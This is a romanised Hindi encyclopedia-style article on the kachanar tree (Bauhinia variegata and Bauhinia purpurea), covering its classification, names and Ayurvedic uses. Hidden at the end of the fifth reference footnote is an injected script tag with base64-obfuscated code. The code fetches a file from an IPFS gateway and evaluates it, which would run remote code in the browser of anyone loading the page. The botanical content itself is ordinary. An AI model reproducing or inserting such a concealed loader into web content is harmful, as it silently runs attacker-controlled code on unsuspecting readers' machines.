कचनार
thumb|250px|kachanar kachanar chhote athava madhyam ooanchaee ke vriksh, jo bharat mean sarvatr hote haian. chikitsakiy drishti se yah kafi labhadayak hai. kachanar ke pushp tatha isaki chhal ka prayog chikitsa ke kshetr mean bahut kiya jata hai. isake pushp madhur, grahi aur rakt pitt, rakt vikar, pradar, kshay evan khaansi ka nash karate haian.
vargikaran
legyoominosi[1] kul aur sizalapiniayadi[2] upakul ke aantargat b aauhiniya prajati ki saman, parantu kianchith bhinn, do vriksh jatiyoan ko kachanar nam diya jata hai, jinhean 'b aauhiniya vairigeta'[3] aur 'b aauhiniya parapyooriya'[4] kahate haian. b aauhiniya prajati ki vanaspatiyoan mean patr ka agrabhag madhy mean is tarah kata ya daba hua hota hai, jaise manoan do patr ju de hue hoan. isilie kachanar ko 'yugmapatr' bhi kaha jata hai.[5]
bhed
b aauhiniya vairigeta mean patr ke donoan khand gol agr bhag vale aur tihaee ya chauthaee doori tak prithak, patr shiraean 13 se 15 tak, pushp kalika ka ghera sapat aur pushp b de, mand saurabh vale, shvet, gulabi athava nilarun varn ke hote haian. ek pushpadal chitrit mishravarn ka hota hai. at: pushpavarn ke anusar isake shvet aur lal do bhed mane ja sakate haian. b aauhiniya parapyooriya mean patrakhand adhik door tak prithakh patr shiraean 9 se 11 tak, pushp kalikaoan ka ghera ubhari huee sandhiyoan ke karan kon yukt aur pushp nilarun hote haian.
nam
sanskrit sahity mean donoan jatiyoan ke lie 'kaanchanar' aur 'kovidar' shabd prayukt hue haian. kiantu kuchh paravarti nighutukaroan ke matanusar ye donoan nam bhinn-bhinn jatiyoan ke haian. at: b aauhiniya vairigeta ko 'kaanchanar' aur b aauhiniya parapyooriya ko 'kovidar' manana chahie. is doosari jati ke lie adivasi bolachal mean, 'koilar' athava 'koinar' nam prachalit haian, jo nissandeh 'kovidar' ke hi apabhransh pratit hote haian. kuchh logoan ke mat se kaanchanar ko hi 'karnikar' bhi manana chahie. parantu sanbhavat: yah mat thik nahian hai.
aushadhiy gun
ayurvediy vanhmay mean bhi kovidar aur kaanchanar ka parthaky spasht nahian hai. isaka karan donoan ke gun sadrishy evan roop sadrishy ho sakate haian. chikitsa mean inake pushp tatha chhal ka upayog hota hai. kachanar kashay, shitaviry aur kaph, pitt, krimi, kushth, gudabhransh, gandamala evan ghran ka nash karane vala hai. isake pushp madhur, grahi aur rakt pitt, rakt vikar, pradar, kshay evan khaansi ka nash karate haian. isaka pradhan yog 'kaanchanaraguggul' hai, jo gandamala mean upayogi hota hai. kovidar ki avikasit pushp kalikaoan ka shak bhi banaya jata hai, jisamean hare chane[6] ka yog b da svadisht hota hai.
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tika tippani aur sandarbh
- ↑ Leguminosae
- ↑ Caesalpinioideae
- ↑ Bauhinia variegata
- ↑ Bauhinia purpurea
- ↑ kachanar (hindi) bharatakhoj. abhigaman tithi: 23 joon, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ horahe